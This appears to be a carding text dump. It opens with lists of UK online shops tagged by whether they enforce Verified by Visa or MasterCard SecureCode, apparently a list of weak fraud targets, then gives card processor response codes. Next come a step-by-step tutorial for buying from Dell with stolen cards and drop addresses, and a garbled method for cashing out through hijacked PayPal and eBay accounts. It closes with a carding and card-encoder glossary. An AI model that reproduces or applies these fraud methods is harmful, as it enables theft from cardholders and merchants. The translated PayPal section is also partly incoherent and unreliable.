http://www.andertons.co.uk/PAMixers/pid15475/cid622/BoseL1SystemT1ToneMatchAudioEngineMixer
|
||
.asp
|
||
http://www.kmraudio.com/catalogue/product_info.php?products_id=620
|
||
http://www.reverb-store.co.uk/product-detail.asp?prod=2442
|
||
http://www.creativevideo.co.uk/public/view_item_cat.php?catalogue_number=apple_logic_studio
|
||
http://www.andertons.co.uk/MusicSoftware/pid9682/cid611/AppleLogicStudio8.asp
|
||
http://audiocooker.co.uk/shop/article_188/Apple-Logic-Studio-8.html
|
||
http://www.prolineaudio.co.uk/shopsub3.asp?submenu3=BHSX2442FX
|
||
http://www.ashcroft.absolutewebhosting2.co.uk/prod1.asp?ID=275
|
||
http://www.andyou.co.uk/productdetail.asp?ProductID=TYROS3&title=Yamaha+Tyros+3
|
||
http://shop.etsnet.co.uk/citronic-sm500-ultima-professional-mixer-38-p.asp
|
||
http://www.rosemorris.com/categories/Keyboard_Amplifiers/Keyboard_Amplifiers.html
|
||
http://www.overstock.com/Electronics/Pyle-PT4001X-5500-watt-Professional-DJ-
|
||
Amplifier/3818324/product.html?cid=133635
|
||
http://www.thegreenwellystop.co.uk/whiskyshop/collectable/cat_4.html
|
||
http://www.masterofmalt.com/distilleries/allt-a-bhainne-whisky-distillery/
|
||
http://www.4golfonline.com/bushnell-golf-m-40.html no v
|
||
http://www.golf-direct.co.uk/bushnell-neo-gps-golf-rangefinder-i5701.html no v
|
||
http://www.golfonline.co.uk/bushnell-golf-scope-rangefinder-p-3619.html amx axpt
|
||
http://www.nevadabobs.co.uk/Gadgets/Range-Finders/77scid/5972prodid.asp
|
||
http://www.thegolfshoponline.co.uk/index.cfm?
|
||
fuseaction=main.dspSingleProduct&productId=789&gclid=CLemnayo5Z0CFZQA4wodcAJ3MA no v
|
||
http://www.sheffieldprogolf.co.uk/Bushnell.html?gclid=CJTLxMOo5Z0CFWlr4wodTwhVMA amc acpt
|
||
http://www.tomorrowsgolfer.co.uk/products/Bushnell-Tour-V2-Laser-Rangefinder-Pinseeker.html no v
|
||
http://www.justgolfonline.co.uk/accessories/new-bushnell-tour-v2-rangefinder-p-1622.html ptx
|
||
http://www.binoculars-uk.co.uk/acatalog/Bushnell_Yardage_Pro_V2.html ptx amx acpt
|
||
http://www.nickylumb.com/superstore/itemdetl.php/itemprcd/01PR8401-1SZE no v
|
||
http://www.thegolfstore4u.co.uk/bushnell-tour-v2-laser-rangefinder-with-pinseeker-technology-p-
|
||
220.html ppal amx acpt
|
||
http://www.0800gadgets.co.uk/product.php/65100/267 ptx
|
||
http://golfclubseurope.co.uk/proddetail.php?prod=BNTV2LR no v
|
||
http://www.davidpartridgegolf.com/index.php?
|
||
page=shop.product_details&flypage=flypage.tpl&product_id=19&category_id=11&option=com_virtuem
|
||
art&Itemid=31&vmcchk=1&Itemid=31 no v
|
||
http://www.greavessports.com/tour-v2-rangefinder-p32299 no v
|
||
http://www.foot-steps.uk.com/section/21/1/golf_gps amx acpt
|
||
http://www.hdickinson.co.uk/product_page.php?id=83 ppal amx acpt
|
||
http://www.eventcaddie.com/bushnell-laser-range-finders.htm amx acpt
|
||
http://www.completegolfer.co.uk/cg7/store/comersus_listItems.asp?idCategory=196
|
||
http://www.snaintongolf.co.uk/product.php/1707/skycaddie_sg2_5_range_finder ptx amx acpt
|
||
http://www.golffortune.co.uk/en/user?destination=cart%2Fcheckout inter
|
||
http://www.mensgiftshop.com/acatalog/golf-gifts.html v and mc
|
||
http://www.buysport.co.uk/ no v
|
||
http://www.onestopgiftshop.co.uk/c/grid/1/2/12/181/Gifts
|
||
http://www.tonyvalentine.com/ no v
|
||
http://www.golfwholesaledirect.com/shop/index.php?
|
||
|
||
cPath=30_82&osCsid=2ea7fc95d1ad7ed53ea48bb3cd174072 no v
|
||
http://www.golf247.co.uk/cobra-irons-steel-2010-model-p-946.html?affiliate_banner_id=1&ref=9
|
||
http://www.118golf.co.uk/Golf-Accessories/GPS-Rangefinders/prodlist_ct337.htm ptx
|
||
http://www.jamgolf.com/uk/finder/all/gps-devices/any/1 no v
|
||
http://www.gpsw.co.uk/?gclid=CMS55Lmt5Z0CFUQA4wodHAJ5Kw
|
||
http://www.snooperuk.com/snooper_products/gps_golf_shot_saver_range_finders/index.html no v
|
||
http://www.maximusgolf.co.uk/product.php/1187/skycaddie-sg-2-5-gps-black-golf-
|
||
rangefinder/dbca162d535b370bcec75ced581aa99d no v
|
||
http://www.americangolf.co.uk/golf-equipment/golf-accessories/golf-practice-aids---gadgets/skycaddie-
|
||
sg2-5-gps-range-finder/ no v
|
||
http://store.europeantour.com/stores/eurotour/products/product_browse.aspx?category%7Ccategory_root
|
||
%7C9698=balls+&+accessories&category%7Ccat_9698%7C9730=gps%2Frange+finders amc acpt
|
||
http://www.merlinlazer.com/Laser-Distance-Measurement-2?gclid=CIqQ0Yiu5Z0CFVtn4wodlh8dLg no
|
||
v
|
||
http://www.planetgolfuk.co.uk/shop/Monocular-Distance-Finder-p-18117.html no v
|
||
http://www.golfbidder.co.uk/golf-accessories/102/golf-range-finders.html no v
|
||
http://golf-gift.co.uk/store/catalog/Longridge-neoprene-iron-covers-p-16263.html ptx
|
||
http://www.golfizus.co.uk/ishop/1094/shopscr93.html
|
||
http://www.teedoff.co.uk/catalog/product.aspx?search=true&cid=703&pid=93611 ppal amx acpt
|
||
http://www.uttings.com/?categories/Rangefinders/bushnell/ no v
|
||
LIQ
|
||
http://www.parkerswhisky.co.uk/ ptx amx acpt
|
||
http://www.drambusters.com/
|
||
http://www.maltwhiskyonline.com/
|
||
http://www.whisky-online.com/ amc acpt
|
||
http://www.whiskyshop.com/
|
||
https://www.lfw.co.uk/acatalog/ v and mc antica
|
||
http://www.whiskyshack.com/
|
||
http://www.ocado.com/webshop/product/Laphroaig-10-Year-Old-Single-Islay-Malt-Whisky/16554011?
|
||
parentContainer=|22000|22717|22864|22871
|
||
http://www.bakersandlarners.co.uk/
|
||
http://www.mensgiftshop.com/acatalog/binoculars.html definet GOER max 3 notes up to 5 notes
|
||
http://www.skyviewoptics.co.uk/categories.asp?pg=545&tl=0
|
||
http://www.camera-shop.co.uk/acatalog/Bushnell_Digital_Camera_Binoculars.html
|
||
http://www.campkinsonline.com/99/Nikon-Travelite-EX-10X25.html?referrer=Froogle
|
||
http://www.scottcountry.co.uk/products_detail.asp?productID=2861
|
||
http://www.alloutdoor.co.uk/bushnell-permafocus-10x50-auto-focus-binoculars-2557-p.asp
|
||
http://www.adventurekit.co.uk/acatalog/Telescopes.html (telescope option)
|
||
http://www.ukcamo.com/StoreFrontProfiles/DeluxeSFItemDetail.aspx?
|
||
sfid=151943&c=167269&i=240590879
|
||
http://www.flightstore.co.uk/DEPT-BIN/use/price.30-50
|
||
http://www.uttings.com/?Categories/Optics/Binoculars/
|
||
http://www.cabelas.com/cabelas/en/templates/purchase/item-added.jsp?_requestid=2668 inter
|
||
http://www.green-witch.com/acatalog/Swarovski.html?gclid=CJOCkIGH-pkCFUM-3godH0k9GA
|
||
http://www.harrisoncameras.co.uk/productdetail.kmod?productid=6060
|
||
http://www.wilkinson.co.uk/store/product.php?productid=17720
|
||
http://www.sportsmanguncentre.co.uk/productDetails.php?
|
||
categoryId=11712990177266&product=Leica+BR+Ultravid+8x20+Compact
|
||
http://www.purelygadgets.co.uk/showproduct.php?prodid=9981&wysiwyg=10 v and mc
|
||
http://www.harpersphoto.co.uk/product/opticron_8x32_zcf_ga_imagic_tga_wp_porro_prism_binoculars/
|
||
hs v and mc
|
||
http://www.at-infocus.co.uk/opticron.html
|
||
|
||
http://www.mynewcheap.co.uk/products/details/bushnell-h2o-binoculars-10x-25mm-13-1005/10659/ hs v
|
||
and mc
|
||
http://www.opticsale.com/zhumell-7x50-marine-binoculars-w-compass.html inter
|
||
http://www.obm.co.uk/products/db/454.htm
|
||
http://www.gamefayre.co.uk/index.cgi?d=4&ref=Google-Ad
|
||
campkinsonline
|
||
acecameras
|
||
pennineonline
|
||
theclassiccamera (lenses)
|
||
opticsplanet inter
|
||
astroshop
|
||
cameraking
|
||
survsys (laser testing equipment)
|
||
parkcameras
|
||
microglobe
|
||
allcam
|
||
bristolcameras
|
||
purelygadgets
|
||
ukoptics
|
||
binocularsshop
|
||
telescopesandbinoculars
|
||
eebc
|
||
morrisphoto
|
||
rgb-tech
|
||
lambda-tek
|
||
microglobe
|
||
the-binoculars-store
|
||
scopesnskies
|
||
cliftoncameras
|
||
at-infocus low sec
|
||
safari-store
|
||
green-witch
|
||
buzzoptics
|
||
rspboptics
|
||
swillingtonshootingsupplies.
|
||
leicashop inter
|
||
uttingsoutdoors
|
||
cameras2u
|
||
westwalesbinoculars BK v and mc
|
||
grahamsonline
|
||
cameramarts
|
||
binocularbarn
|
||
alanaecology
|
||
allcam
|
||
ukdigitalcameras
|
||
ukdigital
|
||
ukoptics possible connection with above
|
||
acecameras
|
||
devoncamera bk v and mc
|
||
photosolution
|
||
phonescorporation
|
||
simplyelectronics v and mc
|
||
dalephotographic
|
||
martinscamerashop
|
||
harrisoncameras
|
||
purelygadgets
|
||
|
||
t4cameras
|
||
wilkinson v and mc
|
||
mifsuds low sec
|
||
calumetphoto
|
||
digitalcameraexchange
|
||
cameraworld
|
||
jacobsdigital v and mc
|
||
bitesizedeals
|
||
bccamera inter
|
||
simplyelectronics v and mc
|
||
camerabox
|
||
abc-digital-cameras
|
||
bentonvillemall v and mc
|
||
pixmania
|
||
cordless-phones v and mc
|
||
bestcameras
|
||
http://www.hairstyling.co.uk/acatalog/Straighteners.html
|
||
http://www.uksellmart.co.uk/
|
||
http://www.ghdhairstores.co.uk/?gclid=COT71qXbtJoCFQZqswoddk06cg
|
||
http://keenbuy.co.uk/keenbuy/index.php?act=viewProd&productId=3
|
||
http://enzohairandbeauty.myshopify.com/products/ghd-pure
|
||
beautyflash
|
||
hairsupermarket sec
|
||
beautique
|
||
gorgeousshop
|
||
great hair direct
|
||
ghdhairproducts
|
||
hqhair
|
||
skincareukcentre
|
||
ilovemyghd
|
||
asos
|
||
brindleys-hair
|
||
feelunique
|
||
heaven-spa
|
||
ghd-uk
|
||
abcbeautyshop
|
||
candyaddicted bk v and mc
|
||
paulkayhairproducts sec v and mc
|
||
besthairbrands bk v and mc
|
||
beautybay
|
||
salonskincare
|
||
francescogroup
|
||
slapiton.tv
|
||
saloneasy
|
||
hair1ukonline
|
||
body4real
|
||
ehaircare
|
||
justbeautifully v and mc
|
||
missbollywood
|
||
beautysleuth v and mc
|
||
prohaircare
|
||
assetchemist
|
||
prosalonsupplies
|
||
beautybay
|
||
buywiseuk v and mc
|
||
wantthelook
|
||
|
||
exclusivebeauty
|
||
lookfantastic
|
||
powderpuff
|
||
folica inter
|
||
Card/ATM Reading Codes
|
||
EFTI Transaction Response Codes:
|
||
Response Processor Description
|
||
700 EFTI Completed Successfully
|
||
01 EFTI Refer to card issuer
|
||
02 EFTI Refer to card issuer, special condition
|
||
03 EFTI Invalid Merchant
|
||
04 EFTI Pick-up card
|
||
05 EFTI Do not honor
|
||
06 EFTI Error
|
||
07 EFTI Pick-up card, special condition
|
||
08 EFTI Honor with identification
|
||
09 EFTI Request in Progress
|
||
10 EFTI Approved, partial
|
||
11 EFTI Approved, VIP
|
||
12 EFTI Invalid transaction
|
||
13 EFTI Invalid amount
|
||
14 EFTI Invalid card number
|
||
15 EFTI No such issuer
|
||
16 EFTI Approved, update track 3
|
||
17 EFTI Customer cancellation
|
||
18 EFTI Customer dispute
|
||
19 EFTI Re-enter transaction
|
||
20 EFTI Invalid response
|
||
21 EFTI No action taken
|
||
22 EFTI Suspected malfunction
|
||
23 EFTI Unacceptable transaction fee
|
||
24 EFTI File update not supported
|
||
25 EFTI Unable to locate record
|
||
26 EFTI Duplicate record
|
||
27 EFTI File update edit error
|
||
28 EFTI File update file locked
|
||
29 EFTI File update failed
|
||
30 EFTI Format error
|
||
31 EFTI Bank not supported
|
||
32 EFTI Completed partially
|
||
33 EFTI Expired card, pick-up
|
||
34 EFTI Suspected fraud, pick-up
|
||
35 EFTI Contact acquirer, pick-up
|
||
36 EFTI Restricted card, pick-up
|
||
37 EFTI Call acquirer security, pick-up
|
||
38 EFTI Pin tries exceeded, pick-up
|
||
39 EFTI No credit account
|
||
|
||
40 EFTI Function not supported
|
||
41 EFTI Lost Card
|
||
42 EFTI No universal account
|
||
43 EFTI Stolen Card
|
||
44 EFTI No investment account
|
||
51 EFTI Not sufficient funds
|
||
52 EFTI No check account
|
||
53 EFTI No savings account
|
||
54 EFTI Expired card
|
||
55 EFTI Incorrect PIN
|
||
56 EFTI No card record
|
||
57 EFTI Transaction not permitted to cardholder
|
||
58 EFTI Transaction not permitted on terminal
|
||
59 EFTI Suspected fraud
|
||
60 EFTI Contact acquirer
|
||
61 EFTI Exceeds withdrawal limit
|
||
62 EFTI Restricted card
|
||
63 EFTI Security violation
|
||
64 EFTI Original amount incorrect
|
||
65 EFTI Exceeds withdrawal frequency
|
||
66 EFTI Call acquirer security
|
||
67 EFTI Hard capture
|
||
68 EFTI Response received too late
|
||
75 EFTI PIN tries exceeded
|
||
77 EFTI Intervene, bank approval required
|
||
78 EFTI Intervene, bank approval required for partial
|
||
90 EFTI Cut-off in progress
|
||
91 EFTI Issuer or switch inoperative
|
||
92 EFTI Routing Error
|
||
93 EFTI Violation of law
|
||
94 EFTI Duplicate transaction
|
||
95 EFTI Reconcile error
|
||
96 EFTI System malfunction
|
||
98 EFTI Exceeds Cash limit
|
||
Carding Dell Tutorial
|
||
something to prepare:
|
||
1. Fresh Drop (if ur drop is blacklist in DELL u won't pass even ur CC is good)
|
||
2. Good CCV (non-VBV or non-MSC)
|
||
3. Sock / VPN / SSH / VPS (tis not important, but good sock at same state of CC is better)
|
||
Now, let start:
|
||
A - If You Want To Make Only Single Order With Single Cvv2 ( Which is Valid and virgin Ofcourse !! )
|
||
1- first check the cc and make sure it`s Valid .. choose Your Item (Fast-track items)
|
||
2- Click On Add To Cart Then Check Out , You Will Be Prompted To Sign Up For A New User Or Sign
|
||
|
||
In If You Have An Existing Account ( Sign Up For A New Account )
|
||
3- Enter The First And Last Name For Your Drop As The Account First And Last Name In The Sign Up
|
||
Page , Provide A Valid Email address And Password .
|
||
4- You`ll Be Redirected To The Shipping Info Page , You`ll Find The First Name and Last Name
|
||
Provided In The Sign Up Page Stored There , Just Add The Address and Other Info
|
||
*Note : You Don`t Have To Provide A Valid Phone Number For Shipping Address , The Billing Phone
|
||
Also Works For Shipping
|
||
5- Choose The Fastest Shipping Method (Next Day Air ) Also 2nd Day air will work , but Make Sure The
|
||
Total Amount Doesn`t Exceed 470-480 $
|
||
6- On The Billing Page , Remove The Shipping Info Stored . Then Add The Billing Info Which Must Be
|
||
Same As stored In Bank ( Make Sure The CC Is 100 % Valid ) The Most IMPORTANT PART HERE IS
|
||
THE BILLING PHONE NUMBER
|
||
which must be the same stored with bank coz they use this number for verification ( not calling the card
|
||
holder , but to verify the info with bank )
|
||
7- Don`t Choose Any Limit In The Billing Page ( Choose:No Limit )
|
||
Click Submit !!
|
||
B- IF You Intend To Use The Same Card More Than Once To Order More Than 1 Item ;
|
||
*First Note That This Method May Get You In Trouble If You Send These Items To Your Own Home ,
|
||
Also the items May get returned to shipper before You Recieve Them .
|
||
1- Follow The 1st Method For Ordering Single Item With 1 Cc , you`ll recieve 2 emails after ordering
|
||
( Dell Order Acknowledgement - Dell Order Confirmation ) as soon as You Recieve The Second Email
|
||
Which Is : Dell Order Confirmation
|
||
check the order status in 10 - 30 minutes IF You See Something Like (In-Production Or Pre-Production )
|
||
Go To The Next Step .
|
||
2- Make Another Order and which must not exceed 480 $
|
||
3- Follow All Previous Steps ( Storing Your Credit Card Info Will Ease The Mission )
|
||
4- Repeat This For As Many Times as The Limit Of The CC Allow .
|
||
5- Don`t Make Any Orders If The Previous Order Status Isn`t ( In-Production OR Pre-Production )
|
||
6- If They Suspect One Of The Orders They Will Cancel All Orders . Ofcourse Next Day Shipping
|
||
Method Will Decrease The Chance Of Getting Items Returned To Shipper .
|
||
That`s All , And Enjoy Your Carding Of DELL
|
||
P/s:
|
||
1. iIf U don't want to get problem with VBV or MSC, use Lolifox browser,with this browser Dell won't
|
||
ask u for VBV even though your CC is VBV, where to get it... Google is ur friend (try and see, its my
|
||
trick in DELL )
|
||
2. if you recieve the Hold payment emails, don't abandon it, try to chat with DEll's customer service, and
|
||
|
||
tell them u want to give new CC for your order, then give them new CCV infomation (this time they don't
|
||
check VBV or MSC)
|
||
3. with my experience, find Credit Signature CC, its have more % success
|
||
Carding Stuffs with PayPal
|
||
Required components:
|
||
1. Paypal [Us + verified + mail + instant]
|
||
2. EBay ACC with good feedbacks, preferably from 100, not an asset (preferably 6 months or more).
|
||
3. Good socks (and better Dedicated server)
|
||
4. enroll FIA card Services, or simply ACC FIA can be found on the link ibsnetaccess.com (or other
|
||
suitable)
|
||
working with eBay accompaniment:
|
||
1. Changing soap on their pre-creation.
|
||
2. Deleting from old evidence
|
||
3. Possible also pass change
|
||
All letters will be sent to your soap
|
||
What to do with enroll:
|
||
1.Going to roll, change the address for loot.
|
||
2.Push Shop Safe
|
||
3.Generating virtual cards for 3-6 bucks.
|
||
4.Writing number of creeds and Old about it. (Address loot think is already there, then roll the name of
|
||
the Holder is not involved)
|
||
5.Going on a stick, copy the name of the Holder (in handy later).
|
||
6.Finding click add or edit credit card info
|
||
7. Trying to drive there creed without changing the name of the Holder paragraphs, but trying to drive a
|
||
mail drop, the one on the roll. Cards immediately will confirmed.
|
||
Total - we stick with confirm address loot.
|
||
Next:
|
||
1. Checking much stick gives send through instant transfer. Ie trying to send a 300-500 bucks invented
|
||
mail. the amount depends on the material.
|
||
2. Ok Checked, for example sends a 500
|
||
3. Going on eBay. Choose any pack within this amount is absolutely from any vendor, at least at the shop
|
||
goes online to eBay.
|
||
4. Pushing buy it now, go to the payment before the payment there you can enter the address where to
|
||
send, and so we press on the change address
|
||
Insert the name and address of the Holder stick drop, the phone adding is not necessary.
|
||
5. Pushing to pay. Proceed to a confirmation page charges.
|
||
6. Pushing Confirm, wait, appears Checkout complete.
|
||
7. After payment go to the Soap Holder, delete the letter for payment, adding @paypal.com in black.
|
||
ready. waiting for a track on the soap breaks the track or in another way, faster.
|
||
as we have the official payment system through eBay, and not split-we can see the View order details in
|
||
|
||
front of the item purchased in box won (List purchased).
|
||
Track there will be faster.
|
||
Also possible to work through the bank. ACC. but this is a somewhat different topic.
|
||
Good Luck to all carders.
|
||
Carding Terms
|
||
AMVA--Association of American Motor Vehicle Agencies
|
||
ACCOUNT NUMBER--A unique sequence of numbers assigned to a cardholder account that identifies
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||
the issuer and type of financial transaction card.
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ACQUIRER--A licensed member that maintains the merchant relationship and acquires the data relating
|
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to a transaction from the merchant or card acceptor and submits that data into interchange, either directly
|
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or indirectly.
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ADDRESS VERIFICATION SERVICE--A fraud prevention tool designed for mail order, telephone
|
||
order and Internet transactions.
|
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AMC--American Magnetics Corporation
|
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AUTHORIZE--A process defined in operations regulations whereby a transaction is approved by or on
|
||
behalf of an issuer; commonly understood to be receiving a sales validation by the merchant, by
|
||
telephone, or authorization terminal.
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AUTOMATED TELLER MACHINE (ATM)--An unattended, magnetic stripe-reading terminal that
|
||
dispenses cash; accepts deposits and loan payments; enables a bank customer to order transfers among
|
||
accounts and make account inquiries.
|
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BANKCARD--A debit or credit card issued by a bank or other financial institution, such as a MasterCard
|
||
card or Visa card. BIOMETRICS--Biometrics utilize "something you are" to authenticate identification.
|
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This might include fingerprints, retina pattern, iris, hand geometry, vein patterns, voice password, or
|
||
signature dynamics. Biometrics can be used with a smart card to authenticate the user. The user's
|
||
biometrics information is stored on a smart card, the card is placed in a reader, and a biometrics scanner
|
||
reads the information to match it against that on the card. This is a fast, accurate, and highly-secure form
|
||
|
||
of user authentication.
|
||
BIT (Binary Digit)--The smallest unit of information in a binary system: a 1 or 0 condition.
|
||
BPI--Bits Per Inch.
|
||
BYTE--A binary clement string functioning as a unit. Eight-bit bytes are most common. Also called a
|
||
"character".
|
||
BUSINESS CARD--A Business card is similar to the Corporate card, but issued to a business with a few
|
||
employees and where each employee is responsible for their purchases.
|
||
CARDHOLDER--The customer to whom a card has been issued or the individual authorized to use the
|
||
card.
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||
CARDING--Credit card fraud. Carding texts offer advice on how to make credit cards, how to use them,
|
||
and otherwise exploit the credit card system.
|
||
CASH DISBURSEMENT--A transaction that is posted to a cardholder's credit card account in which the
|
||
cardholder receives cash at an ATM, or cash or travelers checks at a branch of a member financial
|
||
institution or at a qualified and approved agent of a member financial institution.
|
||
CIRRUS SYSTEM INCORPORATED--A wholly owned subsidiary of MasterCard International
|
||
Incorporated, operates the international ATM sharing association known as "Cirrus® ATM Network."
|
||
CLEANING--The process of exchanging financial transaction details between an acquirer and an issuer
|
||
to facilitate posting of a cardholder's account and reconciliation of a customer's settlement position.
|
||
CO-BRANDED CARD--A credit card issued by a member bank and a merchant, bearing the "brand" of
|
||
both.
|
||
CARDJET CARDS--Teslin®-based, CR-80 size cards with a surface that is specially formulated for
|
||
thermal inkjet printing. CardJet Inks bond to cards and dry instantly, without smearing. CardJet cards
|
||
stand up well to abrasion, dye-migration and UV fading.
|
||
|
||
CHECK READER--A peripheral device used to read encoded information on a check to be transmitted
|
||
and processed by a computer or register for authorization and approval.
|
||
COERCIVITY--The measure of how much magnetic force is needed to change the state of a magnetized
|
||
element. The higher the coercivity, the more force is needed. There are two types of magnetic stripe
|
||
cards, low coercivity and high coercivity. While low coercivity cards can be erased if they get too close to
|
||
a common magnet, high coercivity cards are not as easily erased.
|
||
COLOR MATCHING--Several color matching options are included with FARGO Card Printer/Encoders.
|
||
These options are built directly into the printer driver so they are easily selected. Colors print with more
|
||
clarity, detail, and accuracy.
|
||
COLOR MONITOR--A monitor that displays data and graphics in color. Color monitors vary in the
|
||
number of colors, dot-pitch and intensities they can produce.
|
||
COMMPORT--Communications Port. Most IBM compatible computers have from one to four
|
||
commports used to communicate with devices attached to the computer (COM1, COM2, COM3, COM4).
|
||
You need a commport to communicate with the 712 Encoder.
|
||
COMMUNICATION PROTOCOL--The rules governing the exchange of information between devices
|
||
on a data link.
|
||
CONTACT SMART CARD ENCODER--The contact smart card encoder connects the ISO contact pins
|
||
mounted on the e-card docking station to a Gemplus GemCore 410 smart card coupler mounted inside the
|
||
printer. The GemCore 410's digital I/O is converted to a RS-232 signal which is accessible to application
|
||
programs through a dedicated DB-9 port on the outside of the printer labeled "Smart Card."
|
||
CONTACTLESS SMART CARD ENCODER--The contactless smart card encoder connects an antenna
|
||
mounted on the e-card docking station to a Gemplus GemEasyLink 680SL coupler mounted inside the
|
||
printer/encoder. Application programs can access Mifare® contactless cards via a RS-232 signal through
|
||
a dedicated DB-9 port on the outside of the printer labeled "Mifare/Contactless."
|
||
CONTROL NUMBERS--Measure card usage and be used as a tracking device if the card is lost. ID
|
||
Services will print these on cards after the numbers have been supplied.
|
||
|
||
CREDIT CARD AUTHORIZATION--The process in which a credit card is accepted, read and approved
|
||
for a sales transaction. Credit card authorization is normally accomplished by reading a credit cared
|
||
through a credit card reader that is integrated into a register or stand-alone reading device. Generally,
|
||
pertinent credit information is transmitted via a modem and telephone line to a credit card
|
||
"clearinghouse". The clearing house (authorization source) communicates with the credit card’s bank for
|
||
approval and the appropriate debit amount of the sale.
|
||
CREDIT CARD READER (Magnetic Stripe Reader)--A device that reads the magnetic stripe on a credit
|
||
card for account information to automatically be processed for a transaction. A credit card reader is either
|
||
integrated into a register, attached onto a register as a separate component or is part of a stand-alone
|
||
terminal dedicated for the sole function of processing credit card transactions.
|
||
CURSOR--A blinking symbol on the screen that shows where data may be entered next.
|
||
CUSTOMER POLE DISPLAY--A peripheral device designed to show customers information about their
|
||
transaction. This information normally consists of a description and price of the product they are
|
||
purchasing. Customer pole displays are also used to display marketing information and other messages.
|
||
COMMERCIAL CARDS--This is the formal name for a group of cards issued to businesses, commercial
|
||
organizations and governments. Types of commercial cards include: Corporate Card, Purchase Card, and
|
||
Business Card. Corporate card A Corporate card is usually issued to the employees of a corporation,
|
||
where the corporation assumes all liability for the card's usage. These tend to be to larger corporations.
|
||
CURRENCY CONVERSION--The process by which the transaction currency is converted into the
|
||
currency of settlement or the currency of the issuer for the purpose of facilitating transaction
|
||
authorization, clearing and settlement reporting. The acquirer determines the currency of the transaction;
|
||
the currency of the issuer is the preferred currency used by the issuer, and most often, the currency in
|
||
which the cardholder will be billed.
|
||
DEBIT CARD--A plastic card used to initiate a debit transaction. In general, these transactions are used
|
||
primarily to purchase goods and services and to obtain cash, for which the cardholder's asset account is
|
||
debited by the issuer
|
||
DECODE--A term used to describe the process of interpreting scanned or "read" information and
|
||
presenting it in a usable fashion to the computer.
|
||
DENSITY--Defined in bits per inch (BPI), recording density is the number of information bits which are
|
||
recorded on one inch of a magnetic strip.
|
||
|
||
DIRECT THERMAL--Direct thermal is a printing technology method in which the printer utilizes a
|
||
paper that reacts chemically to heat. The label rolls are coated with a thermo-sensitive layer that darkens
|
||
when exposed to intense heat. Direct thermal printers require no ink or ribbon and are typically used
|
||
when a bar code label needs to endure for a year or less.
|
||
DIRECT-TO-CARD (DTC) PRINTING--The Direct-to-Card printing process prints digital images
|
||
directly onto any plastic card with a smooth, clean, glossy PVC surface.
|
||
DISKETTE / FLOPPY DISK--A flexible disk which holds information that can be read by the computer.
|
||
DOS (Disk Operation System)--The standard operation system for all computers advertised as "IBM
|
||
Compatible".
|
||
DOT-MATRIX PRINTER--A printer that forms characters or images using a matrix of pins that strike an
|
||
inked ribbon.
|
||
DOWNLOADING--The process of sending configuration parameters, operating software or related data
|
||
from a central source to remote stations.
|
||
DPI (dots per inch)--Measurement of a printer's resolution. Example: 600 dpi indicates that the printer can
|
||
produce 600 dots of color in each inch of a card. NOTE: When judging color reproduction for a CardJet
|
||
Card Printer, the inkjet resolution must be at 2400 dpi or better to achieve the color equivalent of a 300
|
||
dpi dye-sub printer.
|
||
DUAL HOPPERS--Select FARGO Card Printer/Encoders provide a dual-stack, 200 card capacity Card
|
||
inp<-b>ut Hopper. This unique dual hopper allows you to load up to 200 of the same type of card for
|
||
maximum card production or allows you to load a different stack of cards into each hopper for added
|
||
versatility and efficiency. Loading two different stacks of cards is often beneficial if, for example, you are
|
||
using two types of preprinted card backgrounds (i.e. gold cards versus silver cards) in order to more easily
|
||
distinguish between two types of members, employees, students, etc.
|
||
DUAL TRACK--A type of credit cared reader that is capable of reading both Track 1 and 2 on a credit
|
||
card.
|
||
DYE-SUBLIMATION--Dye-sublimation is the print process FARGO Card Printer/Encoders use to print
|
||
smooth, continuous-tone, photo-quality images. This process uses a dye-based ribbon roll that is divided
|
||
into a series of color panels. The color panels are grouped in a repeating series of three separate colors
|
||
|
||
along the length of the ribbon: Yellow, Magenta, and Cyan (YMC). As the ribbon and card pass
|
||
simultaneously beneath the Printhead, hundreds of thermal elements heat the dyes on the ribbon. Once the
|
||
dyes are heated, they vaporize and diffuse into the surface of the card. Varying the heat intensity of each
|
||
thermal element within the Printhead makes it possible for each transferred dot of color to vary saturation.
|
||
This blends one color into the next. The result is continuous-tone, photo-realistic color images.
|
||
E-CARD DOCKING STATION--FARGO provides an optional e-card docking station on select models
|
||
that can be ordered with encoders for one, two or three different types of e-cards. These printer/encoders
|
||
allow application software to read and/or store information in the memory of e-cards. The optional
|
||
encoders provide everything needed for an application program to communicate with a specific type e-
|
||
card through a standard RS-232 interface. The FARGO e-card docking station comes standard with the
|
||
read/write pins (as defined by ISO) needed to communicate with contact smart cards. The e-card docking
|
||
station can also be ordered with a magnetic stripe encoder for either an ISO magnetic stripe that supports
|
||
dual high/low coercivity tracks 1, 2 and 3 or a JIS II magnetic stripe.
|
||
E-CARD ENCODER--Select FARGO Card Printer/Encoders support reading and/or storing information
|
||
in up to three different types of e-cards: ISO 7816 contact smart cards, Mifare® contactless smart cards
|
||
and HID proximity cards.
|
||
EDGE-TO-EDGE--Refers to the maximum printable area on a card. Printer/Encoders with edge-to-edge
|
||
printing capability can print just to the edge of a card resulting in printed cards with virtually no border.
|
||
EMBOSSING--Raised characters are produced through the use of a male and female die brought together
|
||
by pressure applied above and below a marking surface. Embossing is ideal for variable information data
|
||
cards, strip tags, and identification molding processes.
|
||
EBT (ELECTRONICS BENEFITS TRANSACTION)--Allows governments to implement social aid
|
||
programs such as food stamps through the use of a magnetic-stripe card, which can be accepted at
|
||
merchant locations set up to accept this plan.
|
||
ELECTRONIC DRAFT CAPTURE (EDC)--A system in which the transaction data is captured at the
|
||
merchant location for processing and storage.
|
||
ELECTRONIC FUNDS TRANSFER (EFT)--A paperless transfer of funds initiated from a terminal,
|
||
computer, telephone instrument, or magnetic tape.
|
||
EMBOSS-The process of printing identifying data on a bankcard in the form of raised characters.
|
||
|
||
ENTERPRISE--An "enterprise" e-commerce solution indicates technology for a large business enterprise.
|
||
This usually involves a number of systems that are required to interface with each other as well as a
|
||
central database management system. The design and management of an enterprise solution can be very
|
||
complex.
|
||
EMULATION--The imitation of a computer system, performed by a combination of hardware and
|
||
software, that allows programs to run between incompatible systems.
|
||
ENCODER--A device used to write data onto magnetic stripe cards.
|
||
EPROM--Read-only, non-volatile, semi-conductor memory that is erasable via ultra violet light and
|
||
reprogrammable.
|
||
EXPANSION BOARD / EXPANSION SLOT--The optional device board that is usually added inside the
|
||
system cabinet at an available expansion slot.
|
||
FACTORING--Also known as laundering. When a merchant submits transactions for another merchant
|
||
that were not conducted at the original merchant's business establishment, this is known as factoring.
|
||
FIRMWARE--A computer program or software stored permanently in PROM or ROM.
|
||
FIELDS--A specific position on each track where data may be written or read.
|
||
FIXED DATA--Data which doesn't change. In Card Template, data remains constant from encoding
|
||
session to encoding session. This means that, until it is modified, each card will encoded with this
|
||
